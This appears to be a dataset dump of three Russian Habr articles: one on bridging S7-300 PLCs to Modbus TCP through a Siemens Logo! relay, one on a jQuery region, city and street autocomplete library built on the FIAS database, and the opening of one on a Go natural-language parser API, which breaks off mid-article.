text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Бюджетная реализация Modbus TCP в серии Simatic S7-300/400 при помощи Logo
Классические линейки контроллеров Siemens, а именно — Simatic S7-300 и Simatic S7-400, поддерживают протокол Modbus TCP как в качестве клиента, так и в качестве сервера. Эта поддержка не лишена одного существенного недостатки, она платная, и стоимость лицензии весьма высока.
Если заказчик — «богатый», а интегратор — «умный» (опытный), то факт платности лицензии и ее стоимость не приводит к неприятностям, все известно заранее, на этапе составления спецификации, бюджет согласован заранее. Если применяется серия S7-1200 / 1500, то вопрос даже не поднимается, эти PLC поддерживают Modbus RTU и TCP без дополнительного лицензирования.
На практике встречаются случаи, когда ничто не «предвещало беды», но модбас на «трехсотнике» неожиданно становится нужен (никогда такого не было, и вот опять!). Не учли что-нибудь, форс-мажор или просто разгильдяйство. Какие в этом случае пути решения? Первый — купить лицензионные библиотеки. Хороший вариант, только затратный, да и подождать придется. Второй — реализовать Modbus TCP силами программиста. Тоже хороший вариант, но требует какую-никакую квалификацию и какое-никакое время. Я уверен, что у серьезных интеграторов все эти библиотеки давно разработаны, для них это не проблема. Для мелких интеграторов — уже проблема, даже сервер Modbus TCP реализовать атруднительно, а клиент — тем более.
Первый вариант — затратный, второй — условно-бесплатный. Целью данной заметки является краткое описание третьего варианта, а именно — применение реле Logo! в качестве преобразователя протокола S7 в Modbus TCP. Протокол S7 поддерживается PLC моделей 300, 400, 1200, 1500. Протокол Modbus будем рассматривать и как клиент, и как сервер. Реле Logo, в свою очередь, «понимает» и S7, и Modbus, а так же умеет выступать и в роли сервера, и в роли клиента этих протоколов. В том числе — во всех 4 ролях одновременно, сервер и клиент S7, а так же сервер и клиент Modbus TCP (зачем нужно такое безумие я не знаю, но на практике проверил — работает).
Итак, сооружаем из релюшки ценой ~80 евро преобразователь протоколов. Любая версия не подойдет, необходима версия от 8.1 и выше. Различия в настройке между 8.1&8.2 (FS4) и 8.3 минимальные, поэтому я буду работать на примере актуальной модели — 8.3. Для начала обращаю внимание на возможности, предоставляемые Logo! Ограничения у нас, все же, есть, и они достаточно суровые, но и тут при желании можно выкрутиться. Общее количество соединений, которые можно сконфигурировать на смарт-реле — 8. Размер программной памяти (область V) Logo версии 8.3 составляет 850 байт. Именно столько информации мы сможем отдать стороннему клиенту Modbus TCP или забрать с одного или нескольких серверов Modbus.
Рассматриваем первый вариант, мы отдаем информацию с ПЛК по протоколу Modbus TCP, т.е. организуем сервер. В качестве контроллера 300ой серии выступает S7 319-3 PN/DP со встроенным в CPU интерфейсом промышленного Ethernet. Блок данных DB300 хранит информацию для стороннего клиента, это массив вещественных величин с индексами от 1 до 100.
При запуске контроллера эти значения инициализируются (OB100) и меняются каждые 100 мс (OB35)
```
ORGANIZATION_BLOCK OB100
VAR_TEMP
// Reserved
info : ARRAY[0..19] OF BYTE;
// Temporary Variables
i : INT;
END_VAR
FOR i := 1 TO 100 BY 1 DO
DB300.DB_VAR[i] := i;
//DB302.DB_VAR[i] := (-1) * i;
END_FOR;
END_ORGANIZATION_BLOCK
ORGANIZATION_BLOCK OB35
VAR_TEMP
// Reserved
info : ARRAY[0..19] OF BYTE;
// Temporary Variables
i : INT;
END_VAR
FOR i := 1 TO 100 BY 1 DO
DB300.DB_VAR[i] := DB300.DB_VAR[i] + 1;
//DB302.DB_VAR[i] := DB302.DB_VAR[i] - 1;
END_FOR;
END_ORGANIZATION_BLOCK
```
Блок данных DB301 содержит 10 вещественных уставок, получаемых с клиента Modbus
Немного теории «на пальцах». Протокол S7 работает как по сетям промышленного Ethernet, так и по сетям Profibus и MPI. В подавляющем количестве случаев необходимо сконфигурировать соединение на обоих узлах информационного обмена. В Step 7 это делается в Netpro, в LogoSoft Comfort немного иначе. Мы работаем по Ethernet через TCP/IP, поэтому используем ip-адрес. Кроме ip-адреса необходимо еще знать т.н. TSAP (Transport Service Access Point или же точка доступа транспортного уровня). TSAP состоит из двух байт. Первый байт — это номер сконфигурированного соединения. Второй байт состоит из номера стойки и номера слота, в котором находится CPU. Для S7-300 это всегда 0/2, нулевой рэк, второй слот. Для Logo! второй байт будет равен 0. Кроме того, при конфигурировании соединения в Step 7 мы должны указать, является ли «наш» узел соединения активным или нет.
Что значит «установить активное соединение»? Это означет, что данный узел будет инициатором связи. Т.е. он будет выступать клиентом. Клиент — галочка устанавливается, сервер — галочки нет. В LogoSoft Comfort этой галочки просто нет, там используется терминология «клиент» и «сервер».
В настоящем примере я стремлюсь минимизировать программирование и конфугурирование. И в связи с этим напоминаю про другую свою заметку: [Односторонние S7-коммуникации. Как организовать обмен ПЛК-ПЛК, программируя и загружая только один ПЛК?](https://habr.com/ru/post/536706/)
Главный вывод этой заметки — к трехсотнику можно подключиться, используя TSAP 03.02, он уже сконфигурирован для внешнего подключения. Пропадает необходимость дополнительной настройки PLC и прогрузки изменений. Если же этот TSAP уже используется, то тут выхода нет — открываем NetPro и настраиваем все с нуля.
В NetPro щелкаем правой кнопкой мыши на CPU, выбираем из менюшки Insert New ConnectionВыбираем Unspecified, тип S7 ConnectionСнимаем галочку Active Connection, задает ip-адрес удаленной станции, жмем Address DetailsСмотрим и задаем TSAPНа последнем скриншоте важно задать и запомнить TSAP локального ПЛК (S7-300) и удаленного коммуникационного партнера (Logo!). Локальный Rack/Slot задан правильно и не меняется (это же S7-300), коммуникационный ресурс можно оставить, Rack/Slot партнера в нашем случае задан по умолчанию правильно, а вот коммуникационный ресурс надо будет подглядеть уже в LogoSoft Comfort, куда так же при задании коннекшена не забыть правильно внести TSAP «трехсотника».
Но для упрощения жизни мы будет подключаться без дополнительной настройки S7-300, как к серверу, по TSAP 03.02. Кроме того, я предлагаю применять S7-300 именно как сервер S7-соединения. Это позволит, во-первых, упростить обмен между PLC и Logo!, просто прописав необходимые адреса в настройках соединения реле. Во-вторых, не все коммуникационные процессоры S7-300 поддерживают функционал клиента S7. В частности, очень распространенный CP 343-1 Lean может выступать только в качестве сервера, т.е. принимать соединения, а не инициировать их.
Перейдем, наконец, к настройке Logo! Работать будем в рамках сетевого проекта Logo!Soft Comfort. Даже у такой несложной задачи есть несколько вариантов реализации и их комбинации, перечислять все нет смысла. Как сказано выше, действуем по принципу «чем проще, тем лучше». Для начала я рекомендую ознакомиться для общего развития еще с двумя заметками по коммуникациям в Logo:
[Siemens Logo! и Modbus TCP в сетевом проекте](https://habr.com/ru/post/653709/)
[Siemens Logo! и Modbus TCP](https://habr.com/ru/post/651329/)
Создаем сетевой проект и добавляем в него устройство S7 и Logo! версии 8.3, прописываем адреса.
Далее конфигурируем соединение по S7 между Logo и PLC, для этого тянем мышью линию от любого из 8 правых квадратов реле на квадрат устройства S7. Именно от Logo к ПЛК, смарт-реле становится клиентом, а ПЛК сервером. Если тянуть наоборот, то роли в обмене данных меняются. В процессе среда разработки (для версии реле 8.3) выдаст предупреждение, что данное действие включает протокол S7, соглашаемся.
Дабл-клик мышью по линии соединения между S7 и Logo! выдаем нам окошно настройки и список информации для обмена. Настраиваем следующим образом:
Указываем TSAP нашего трехсотника, как я уже говорил выше, ставим доступный по умолчанию 03.02. Далее прописываем объем информации, который мы забираем. У нас в блоке данных DB300 есть массив из 100 REAL'ов, и это 400 байт. Мы можем забирать или отправлять информацию блоками, максимальный размер каждого блока составляет 212 байт (очевидно, что это ограничения в рамках механизма соединения S7). Для удобства я буду работать с объемом, кратным 200 байт. Мы считываем информацию в программную память Logo, это область V объемом 850 байт. Источник данных удаленного партнера — это блок данных DB300. Итого, вначале из блока данных DB300 мы берем 200 байт с нулевым смещением (DBB0) и размещаем их локально в байты 0..199 (VB0…VB199) пограммной памяти. Потом берем еще 200 байт из блока со смещением 200 и записываем их в локальные байты VB200…VB399. Причем, что у нас вообще хранится в исходном блоке данных, будь то булевые значения, целочисленные величины, слова данных, вещественные параметры — это все неважно, т.к. с точки зрения вычислительной машины это всего лишь набор байт. А мы сейчас тем и занимаемся, что перекладываем набор байт, доступный по одному протоколы в доступный по другому протоколу. Поэтому в моем упрощенном примере у меня массив данных. На практике будет, разумеется, осмысленный набор, но забирать мы его будем так же. Именно поэтому, исключительно для облегчения жизни, целесообразно все данные, отдаваемые по модбасу, подготовить на ПЛК заранее и держать их в одном блоке данных. Ибо набор строк по каждой переменной, сконфигурированный в Logo!Soft Comfort, вполне допустим, но при таком подходе существенно возрастает вероятность ошибки при составлении этой таблицы.
Далее загружем программу в Logo, подключаемся к нему онлайн и смотрим список переменных.
Конечно, я не стал забивать в таблицу данных все 100 переменных, а ограничился лишь первой и последней из каждого читаемого набора данных в 200 байт. Тут VD0 соответствует DB300.DB\_VAR[1], а VD396 сооветствует DB300.DB\_VAR[100]. Наблюдаем осмысленные данные, значит, ошибки нет.
В блоке данных DB301 S7-300 содежится массив из 10 переменных, которые должны записываться сторонним клиентом. Давайте добавим и эту информацию в список обмена. Снова открываем свойства коннекшена S7.
Итого, 40 байт (10 вещественных) программной памяти V, начиная с 400ого байта, записываются в блок данных DB301 в нулевое смещение. Загружаем и проверяем в таблице данных.
Записываем новое значение в переменную VD400Смотрим блок данных DB301 контроллера S7-300
Информация записалась. Теперь необходимо сконфигурировать на смарт-реле сервер Modbus TCP. Для этого добавим в проект устройство Modbus и создадим соединение между ним и Logo! Устройство Modbus в нашем случае — это клиент, а Logo — сервер этого протокола. Линию тянем мышью от клиента к серверу. В процессе получим предупреждение об открытии доступа по протоколу Modbus.
Теперь посмотрим на свойства соединения Modbus TCP
Настраивать тут ничего не надо. Мы уже активировали сервер Modbus. Единственное, на что хочется обратить внимание. Порт для входящих соединений — 503. Не 502, который является портом по умолчанию, а 503. Изменить его нельзя. Неудобно и нелогично. Мне это не нравится. В рамках этого сетевого проекта я не нашел способ создать соединение с явно заданным «своим» портом. Редактировать список доступных по протоколу modbus переменных нет смысла, Logo! выполняет ролько «перекладывателя» данных, поэтому пусть доступными будут все данные. Карта регистров доступна в свойствах нашего реле.
Карта регистров сервера ModbusВ соответствии с этой картой, нам нужны регистры хранения с 1 по 425, это программная память V. Запускаем клиент Modbus на ПК, подключаемся к реле по его ip-адресу и указываем порт 503. Тут главное не запутаться в байтах, регистрах и двойных словах. Вот, к примеру, чтение регистров хранения, начиная со 101 (база отсчета 1) в количестве 10 штук, трактуемая, как вещественное с обратным порядком байт.
Как видно, информация читается. Данные вменяемые, трактуются корректно, меняют свои значения.
Теперь давайте прочитаем и попробуем изменить информацию с блока данных 301, это уставки. Первая уставка — это регистры 201 и 202 (за базу принята единица). Настраиваем клиент и записываем в эти регистры вещественное число 777.0
Смотрим это значение в блоке данных 301
Таким образом, мы оперативно достигли двухстороннего информационного обмена между сторонним клиентом протокола Modbus TCP и ПЛК Simatic S7-300, имея на руках лишь реле Logo.
Прошу обратить внимание на пару нюансов. Если связь между Logo! и S7-300 будет нарушена, то клиент Modbus, все равно, будет уверен, что связь присутсвует. Ведь сервер модбас отвечает. Тут целесообразно завести на трехсотом вспомогательную переменную, которая будет всегда менять свое состояние и анализировать эту переменную на стороне клиента. К примеру, если бит перестал меняться с 0 на 1 (или int перестал менять значение), то это указывает на отсутствие связи.
Второй нюанс. Как я говорил выше, у нас для обмена предусмотрено всего 850 байт, 450 регистров. Что делать, если этих 850 байт не хватает? Как вариант, задействовать второе реле лого. Вообще, их можно подключить в количестве, которое соответствует числу свободных коммуникационных ресурсом трехсотого ПЛК. Разумеется, исходя при соображений здравого смысла. Есть ли смысл подключать, например, 8 релюшек только для одного Modbus? Тут уже имеет смысл либо писать свою реализацию, либо покупать готовую.
Проведем эксперимент. Теперь в ПЛК у нас 2 блока данных с массивами по 200 вещественных (2 потому что так удобнее выполнять демонстрационный проект). Итого надо забрать с ПЛК 1600 байт. На это уже одного реле не хватит.
Меняем конфигурацию существующего реле. Теперь свойства соединения с S7-300 выглядят следующим образом.
Из нового — только увеличенный объем данных и отсутсвие данных на запись, не хочется усложнять проект.
Добавляем в проект еще одно реле, версии FS4. Добавляем необходимые соединения для «нового» Logo
Прописываем в S7-300 соединение. Вот так оно выглядит в Step 7
А вот новое соединение с ПЛК в Logo!Soft Comfort. Обратите внимение, что и коммуникационный ресурс, и rack/slot у меня совпадают в Step 7 и Logo!Soft.
Подключаемся к новому реле, смотрим переменные.
Все верно, так как программа ПЛК данные для «второго реле» загоняет в минуса для наглядности. Теперь смотрим клиент протокола Modbus.
Первые пять переменных из блока DB300Первые пять переменных из блока DB302Как видно, обойти ограничение железа в 850 байт — не проблема, если под рукой есть еще железо. На этом заканчиваем реализацию серверной части и переходим к клиентской.
Новая вводная. Где-то «в поле» у нас затесался преобразователь частоты, с которым можно общаться только по протоколу Modbus TCP. Т.е. частотник является сервером Modbus (буду его симулировать на ПК). С частотника надо забирать слово состояния, текущую скорость, слать ему слово управления и задание скорости. Управляющий контроллер у нас- все тот же S7-300. Лицензию никто не купил. Программировать никто не умеет. В ПЛК уже подготовлен блок данных для частотника.
Для удобства группируем состояние и управлениеУпростим себе жизнь и представим, что карта регистров Modbus состоит из :
— входных регистров 0 (текущая скорость) и 1 (слово состояния);
— регистров хранения 0 (задание скорости) и 1 (слово управления).
В том же порядке, что и блок данных (это для удобства) заполняем таблицу обмена в рамках S7-соединения. Само соединение остается, как и в первом примере. Реле является клиентом и подключается к S7-300 по TSAP 03.02. Разумеется, тут надо правильно задать направление передачи данных. Состояния мы читаем «с поля» по модбас и пишем в ПЛК по S7, управление — читаем с ПЛК по S7 и пишем «в поле» по Modbus. После составления таблицы обмена и ее повторного открытия, Logo!Soft Comfort делает перестановки. Вид таблицы меняется, а точнее - меняется порядок строк обмена. Вначале идут строки чтения, потом строки записи. Мы читаем с ПЛК уставку и задание, и пишем текущую скорость и слово состояния.
Загружаем изменения и проверяем обмен Logo — S7.
На стороне ПЛК удобнее использовать таблицу переменныхОбмен по S7 работает.
Теперь необходимо прописать на смарт-реле функционал клиента Modbus и забрать информацию с «частотника». Теперь необходимо «тянеть» коннекшен от реле до устройства Modbus. Вот что в итоге получается.
Выполняем дабл-клик на соединении Modbus и заполняем таблицу следующим образом
Итого, с 0ого по 3ий байты области V — это два входных регистра (их читаем), а запись регистров хранения 1 и 2 (база 1) осуществляем из области памяти VB4..7. Получается, что мы читаем 2 входных регистра устройства модбас, помещаем прочитанное значение в программную память реле и тут же автоматически записываем эти значения в ячейки блока данных контроллера S7-300. С уставками все ровно наоборот, с ПЛК читаем, в «частотник» пишем. При этом используются одни и те же переменные программной памяти.
Теперь очередные соображения и предположения. Реализация клиента протокола Modbus немного сложнее, чем сервера. Тут необходимо сопоставить ячейки памяти блоков данных ПЛК, программной памяти реле и сервера Modbus TCP. Легко допустить ошибку и долго ее выискивать.
Всего смарт-реле держит 8 соединений. Из них одно занято для связи с ПЛК, остается 7 свободных. 850 байт программной памяти в большинстве случаев хватит за глаза. А если устройств «в поле» больше, то ничто не мешает подключить еще одно лого.
Больным местом остается диагностика соединения по Modbus TCP. В Logo! его просто нет. Остается надеяться лишь на то, что в оконечном устройстве присутсвует какая-нибудь переменная, постоянно меняющая свое значение, с помощью которой получится отследить состояние коннекта на стороне ПЛК. | https://habr.com/ru/post/655465/ | null | ru | null |
# Таргетинг пользователей: регион, город, улица
Иногда в своих проектах мне хотелось прикрутить некоторую географическую базу, с помощью которой я бы разделял пользователей ресурса по их месту пребывания. Но постоянная занятость делами насущными никак не давала реализовать идею с базой регионов и мало-мальски удобным интерфейсом для ее визуализации.
Волею судьбы и заказчика (или судьбы заказчика или заказчика судьбы) такая задача, наконец-то, возникла — необходимо создать базу регионов, городов и улиц для сегментирования пользователей и реализовать удобную web-форму, собственно, для ее использования. Благо заказчик ориентировал свой бизнес на Россию, что резко упростило задачу.
Поиск по интернету готовых баз субъектов РФ особых результатов не принес — нашел базу КЛАДР, но она оказалась не очень-то актуальной. Порыскав дальше я наткнулся на пост [КЛАДР умер, да здравствует ФИАС?](http://habrahabr.ru/post/140378/). Спасибо [sergpenza](http://habrahabr.ru/users/sergpenza/), теперь есть куда копать!
База ФИАС действительно оказалась максимально полной и актуальной, и даже слишком — в ней очень много ненужного. Еще один минус базы — она «плоская»: основная табличка — ADDROBJ.dbf, в ней содержатся области, районы, города и улицы и все это ссылается само на себя. Еще один минус — в ней нет списка регионов РФ. Но это просто — их можно с легкостью спарсить с сайта ГНИВЦ ФНС РОССИИ.
Не буду вдаваться в процесс перепиливания базы в реляционный вид — это рутина, да и ссылка на уже готовую базу есть внизу моего поста.
Отлично база есть. Нужно создать интерфейс для ее визуализации под web, на этой части я остановлюсь более подробно.
Интерфейс включает в себя фронт и бек-энд.
1. Фронт-энд это html, js, jQuery
2. Бек-энд MVC от MS (c#)
### Фронт-энд
Задача: пользователь должен иметь возможность заполнить данные о своем месте пребывания, для этого он последовательно вводит регион, город и улицу.
Учитывая количество городов (более 160к) и количество улиц в каждом городе задача усложняется — использовать выпадающие списки отпадает, нужно предусмотреть какой-то механизм быстрого поиска и фильтрации. Конечно же, механизм должен быть универсальным и охватывать не только регион, но и города с улицами.
Такой механизм лучше всего реализовать в виде библиотеки, подключаемой в нужных местах на сайте. Назовем библиотеку jquery.locateme.js. По названию библиотеки понятно, что она зависима от jQuery. Изначально у меня была мысль написать плагин для jQuery в соответствии с идеологией фреймворка, но в итоге я от нее отказался.
Библиотека должна обладать следующими функциями:
* поиск по все объектам БД (регионы, города, улицы)
* вывод результатов поиска (как списком так и автозаполнением)
* управление с клавиатуры (навигация по результатам поиска)
* обработка всевозможных callback для масштабирования функционала
**Реализация (скелет)**
```
var locateMe = function (wrapperName, fieldName, fieldLabel, url, urlData, applyHandler, cancelHandler) {
var _this = this,
_urlData = urlData;
this.isApplied = false;
this.SearchInputLabel = $("").addClass("label").attr("id", fieldName + "\_label").html(fieldLabel);
this.SearchInput = $("").addClass("input\_search").attr("id", fieldName).attr("type", "text");
this.SearchInputTip = $("").addClass("input\_search\_tip").attr("id", fieldName + "\_tip").attr("type", "text");
this.SearchResultsTipId = $("").attr("id", fieldName + "\_tip\_id").attr("type", "hidden");
this.SearchResults = $("").addClass("results").attr("id", fieldName + "\_results");
this.SearchUrl = url;
return this;
};
```
**Публичные функции**
```
this.Reload = function (reloadValues) {
if (reloadValues) {
_this.SearchInput.val("");
_this.SearchInputTip.val("");
_this.SearchResultsTipId.val("");
_this.SearchResults.hide().empty();
}
_methods.setResultsPosition();
};
this.Dispose = function () {
this.isApplied = false;
this.SearchInputLabel.remove();
this.SearchInput.unbind().remove();
this.SearchInputTip.remove();
this.SearchResultsTipId.remove();
this.SearchResults.unbind().remove();
_this = null;
}
this.Disable = function (setDisabled) {
if (setDisabled) {
this.SearchInput.val("").attr("disabled", "disabled");
this.SearchInputTip.val("").attr("disabled", "disabled");
this.SearchResultsTipId.val("");
this.SearchResults.empty().hide();
}
else {
this.SearchInput.removeAttr("disabled");
this.SearchInputTip.removeAttr("disabled");
}
return this;
};
this.AjaxRequestParameters = function (data) {
_urlData = data;
return _urlData;
};
this.DefaultValue = function (id, val) {
this.SearchResultsTipId.val(id);
this.SearchInput.val(val);
return this;
};
this.Value = function () {
return { k: _this.SearchResultsTipId.val(), v: _this.SearchInput.val() };
};
```
**Конструктор контрола и внутренние функции**
```
var _methods = {
setResultsPosition: function () {
var inputOffset = _this.SearchInput.offset(),
inputSize = _methods.objectWH(_this.SearchInput);
_this.SearchResults
.css("left", inputOffset.left)
.css("top", inputOffset.top + inputSize.height - 2)
.css("width", inputSize.width - 2);
},
retrieveResults: function (query) {
if (query && query.length > 0) {
var _data = {};
if (_urlData &&
typeof (_urlData) === "object") {
_data = _urlData,
_data.searchquery = query;
}
else _data = { searchquery: query };
$.ajax({
async: true,
url: _this.SearchUrl,
type: "POST",
data: _data,
success: function (response) {
_methods.fillResults(response);
}
});
}
},
fillResults: function (arr) {
_this.SearchResults.empty().hide();
_this.SearchInputTip.val("");
if (arr && arr.length > 1) {
$(arr).each(function (i, o) {
_this.SearchResults.append("" + o.v + "");
});
_this.SearchResults
.find("div")
.unbind()
.click(function () {
$(this).addClass("selected");
_methods.resultsApply();
}).end()
.css("height", arr.length * 19).show();
}
else if (arr && arr.length == 1) {
var searchInputValue = _this.SearchInput.val().length,
arrayValue = arr[0].v,
arrayKey = arr[0].k,
tip = _this.SearchInput.val() + arrayValue.substring(searchInputValue, arrayValue.length);
_this.SearchResultsTipId.val(arrayKey);
_this.SearchInputTip.val(tip);
}
},
resultsMove: function (direction) {
var currentPosition = -1,
resultsCount = _this.SearchResults.find(".row").length - 1;
$(_this.SearchResults.children()).each(function (i, o) {
if ($(o).hasClass("selected")) {
currentPosition = i;
return;
}
});
if (direction == "up") {
if (currentPosition > 0) {
currentPosition--;
_this.SearchResults
.find("div.selected").removeClass("selected").end()
.find("div:eq(" + currentPosition + ")").addClass("selected");
}
}
else {
if (currentPosition < resultsCount) {
currentPosition++;
_this.SearchResults
.find("div.selected").removeClass("selected").end()
.find("div:eq(" + currentPosition + ")").addClass("selected");
}
}
},
resultsApply: function () {
var selectedId = 0;
if (_this.SearchResultsTipId.val() != "" ||
_this.SearchResults.find("div").length > 0) {
if (_this.SearchResults.is(":visible")) {
selectedId = _this.SearchResults.find(".selected").attr("id");
_this.SearchInput.val(_this.SearchResults.find(".selected").html());
_this.SearchInputTip.val("");
_this.SearchResultsTipId.val(selectedId);
_this.SearchResults.empty().hide();
}
else {
selectedId = _this.SearchResultsTipId.val();
_this.SearchInput.val(_this.SearchInputTip.val());
_this.SearchInputTip.val("");
}
if (!_this.isApplied) {
if (applyHandler &&
typeof (applyHandler) === "function") {
applyHandler(selectedId);
}
_this.isApplied = true;
}
}
return selectedId;
},
objectWH: function (obj) {
var r = { width: 0, height: 0 };
r.height += obj.css("height").replace("px", "") * 1;
r.height += obj.css("padding-top").replace("px", "") * 1;
r.height += obj.css("padding-bottom").replace("px", "") * 1;
r.height += obj.css("margin-top").replace("px", "") * 1;
r.height += obj.css("margin-bottom").replace("px", "") * 1;
r.height += obj.css("border-top-width").replace("px", "") * 1;
r.height += obj.css("border-bottom-width").replace("px", "") * 1;
r.width += obj.css("width").replace("px", "") * 1;
r.width += obj.css("padding-left").replace("px", "") * 1;
r.width += obj.css("padding-right").replace("px", "") * 1;
r.width += obj.css("margin-left").replace("px", "") * 1;
r.width += obj.css("margin-right").replace("px", "") * 1;
r.width += obj.css("border-left-width").replace("px", "") * 1;
r.width += obj.css("border-right-width").replace("px", "") * 1;
return r;
}
};
var target = $("." + wrapperName);
if (target.length > 0) {
target
.append(this.SearchInputLabel)
.append(this.SearchInput)
.append(this.SearchInputTip)
.append(this.SearchResultsTipId)
.append(this.SearchResults);
$(window)
.resize(function () { _methods.setResultsPosition(); })
.trigger("resize");
this.SearchInput
.keydown(function (e) {
var val = _this.SearchInput.val(),
valLength = val.length;
if (e.which > 32 &&
e.which != 40 &&
e.which != 38 &&
e.which != 9 &&
e.which != 39 &&
e.which != 46 &&
e.which != 13) {
return true;
}
else if (e.which == 8 || // [Backspace]
e.which == 46) { // [DELETE]
if ((valLength - 1) > 0) {
_methods.retrieveResults(val.substring(0, valLength - 1));
}
if (_this.isApplied) {
_this.isApplied = false;
_this.SearchResultsTipId.val("");
if (cancelHandler && typeof (cancelHandler) === "function") {
cancelHandler();
}
}
}
else if (e.which == 40) { //▼
_methods.resultsMove("down");
}
else if (e.which == 38) { //▲
_methods.resultsMove("up");
}
else if (e.which == 39) { //→
_methods.resultsApply();
}
else if (e.which == 9) { //TAB
_methods.resultsApply();
return false;
}
else if (e.which == 13) { //ENTER
_methods.resultsApply();
}
})
.keypress(function (e) {
var text = _this.SearchInput.val(),
pressedChar = String.fromCharCode(e.which || e.keyCode),
query = text + pressedChar;
_methods.retrieveResults(query);
});
}
```
Использовать контрол на странице надо так
```
var region = new locateMe("field_wrapper", "field_name", "field_label", "search_URL", search_URL_DATA, applyHandler, cancelHandler);
```
*field\_wrapper* — селектор по классу, оболочка, в которой будет создан контрол
*field\_name* — название поля контрола
*field\_label* — то, что будет написано над полем с поиском
*search\_URL* — URL, который будет запрашиваться для поиска (метод POST)
[search\_URL\_DATA] — опциональные параметры, передаваемые в search\_URL (объект)
[applyHandler] — функция, будет вызвана после завершения поиска в поле
[cancelHandler] — функция, вызывается при изменении поля (если конечно, поиск был завершен)
Пример:
```
var region = new locateMe("uloc_region", "region", "Регион", "/region", null, function(selectedId){ alert("регион ID:" + selectedId); });
```
В примере создается поле с именем «region» в div ".uloc\_region". Для поиска будет запрашиваться url "/region" без параметров, а после нахождения нужного региона появится алерт с текстом «регион ID:%regionID%».
### Бэк-энд
Задача: реализовать выборку из базы данных полей, удовлетворяющих поисковому запросу пользователя, для любых объектов БД (регион, город или улица)
Типичное поведение пользователя желающего найти свой город — начать вводить его название в текстовое поле, в этот момент начинает работать фронт-энд контрол, предлагающий автозаполнение по мере ввода поискового запроса.
Архитектура решения (solution, .sln) состоит из 4 библиотек:
* BO (BusinesObjects)
* DC (DataContext)
* DP (DataProvider)
* LocateMe (UI, web-интерфейс)
Описывать BO,DC,DP не имеет смысла, так как они типичны (linq, DTO, database context). Ссылка на архив со всем решением (solution) в конце поста.
Что касается UI, то его можно рассмотреть, в общих чертах. А именно сигнатуры методов поиска
```
[HttpPost]
public JsonResult Region(string searchquery)
{
return Json(from i in Database.SearchRegions(searchquery, 5) select new { k = i.Id, v = i.Region });
}
[HttpPost]
public JsonResult City(int regionId, string searchquery)
{
return Json(from i in Database.SearchCities(regionId, searchquery, 5) select new { k = i.Id, v = i.City });
}
[HttpPost]
public JsonResult Street(long cityId, string searchquery)
{
return Json(from i in Database.SearchStreets(cityId, searchquery, 5) select new { k = i.Id, v = i.Street });
}
```
Все просто: 3 метода на три объекта БД. Каждый принимает строку searchquery, которая является поисковым запросом пользователя. В двух последних методах присутствует еще один параметр RegionId и CityId — они указывают в каком именно регионе (или городе) производить поиск. Результаты поиска ограничены 5 записями. В качестве возвращаемого объекта используется сериализованный в JSON анонимный тип, где v — это название региона\города
или улицы, а k — это их индефикаторы.
Демо вот [тут](http://185.49.147.111)
Проект (полностью) [тут](https://github.com/letmefree/jqLocateme) (github)
База (дамп) [там же](https://github.com/letmefree/jqLocateme/tree/master/database)
**Ссылки, описания, инструкции**В качестве сервера БД — MS SQL 2012
Актуальность базы данных 2014 год, I квартал. Новые регионы Крым и Севастополь, а также территории Байконура присутствуют
Бек-энд .Net 4.0, mvc 3
Файл базы (mdf, log) [тык](http://185.49.147.111/database_files.rar) (на гитхаб не коммитится, наверно размер велик)
##### UPD
Спасибо [WindDrop](http://habrahabr.ru/users/winddrop/), [Andriyan](http://habrahabr.ru/users/andriyan/)
Исправлено \ добавлено:
1. Повторные нажатия на [ENTER], [TAB] или [RIGHT ARROW] после ручного ввода или автозаполнения
2. Автозаполенение с учетом регистра (case sensitivity)
3. Отображение окошка с результатами поиска при пустом поле
4. Произвольное заполнение поля регион («Республика Башко...» или «Башко....») будет иметь одинаковый резуьтат (без изменения БД)
Не исправлено:
Непонятно поведение библиотеки (нажатия клавиатуры) в FF | https://habr.com/ru/post/221989/ | null | ru | null |
# Разбор естественного языка: под капотом
#### API синтаксического анализатора
Продолжаю свой [предыдущий пост](http://habrahabr.ru/post/255073/). Время сфокусироваться на деталях внутреннего устройства синтаксического анализатора. В качестве языка реализации я выбрал Go, поскольку хотел малой ценой получить параллельный (в смысле, использующий все доступные ядра CPU) производительный инструмент, без погружения в низкоуровневую пучину C++.
Полученный код предоставляет следующий API:
```
type Attribute struct {
Name string
Value string
}
type ParseMatch struct {
Text string
Nonterminal string
Rule string
Attributes []Attribute
Submatches []ParseMatch
Hypotheses []string
HypothesisCount uint
}
func Parse(text, nonterminal string, hypotheses_limit uint) []ParseMatch
```
*Match* ссылается на дочерние объекты того же типа, соотвествующие нетерминалам или лексическим терминалам подошедшего правила. В общем случае, из-за неоднозначности, присущей естественным языкам, тексту соответствует несколько разборов (например, из-за наличия омонимов). Поэтому функция *Parse* возвращает множество объектов *Match*. Вышеупомянутая неоднозначность синтаксического разбора должна устраняться на следующем (семантическом) уровне анализа текста.
Итак, функция *Parse* берёт *text* — текст для разбора, *nonterminal* — название нетерминала (например, «sentence»), а также максимальное число выдвигаемых гипотез *hypotheses\_limit* (об этом чуть ниже). Параметр *nonterminal* может быть пустым. В этом случае тексту будет сопоставляться лексический терминал, найденный в морфологической базе.
В терминах данного анализатора *гипотеза* — это предположение того, что нарушенное ограничение значения атрибута вызвано случайной причиной. Если анализатор встречает несоответствие значения атрибута ограничению, заданному рассматриваемым в данный момент правилом, а число выдвинутых гипотез не достигло *hypotheses\_limit*, то данное несоответствие игнорируется. В противном случае рассматриваемое правило отбрасывается. Данный механизм удобен для отладки правил, но должен избегаться в реальной работе, поскольку чудовищно замедляет процесс разбора.
#### Сопоставление нетерминалов
Прежде чем погружаться в описание этого процесса стоит отметить, что в общем случае сопоставляется не весь текст, а лишь его начало. Анализатор находит все возможные начальные части текста, соответствующие данному нетерминалу (или все лексические терминалы вначале текста).
Для данного нетерминала анализатор извлекает все соответствующие правила (исходя из грамматики) и пытается найти соответствия каждому из них. Так, для каждого такого правила анализатор проверяет наличие присвоения значений атрибутов ("@{...}", должно быть вначале правила). Далее вызывается рекурсивная функция *parseRulePart*, которая последовательно производит следующие действия:
* В случае наличия в текущем месте правила терминала сопоставляет его тексту.
* В случае наличия в текущем месте правила нетерминала или лексического терминала вызывает функцию *Parse*.
* Проверяет выполнение ограничений на значения атрибутов для полученных *Match*-объектов.
* Для каждого из подходящих Match-объектов функция вызывает саму себя в новом потоке (goroutine) для сопоставления оставшейся части правила.
* *Match*-объекты, возвращённые созданными потоками, дополняются данными из текущего *Match*-объекта и возвращаются.
#### Сопоставление лексических терминалов
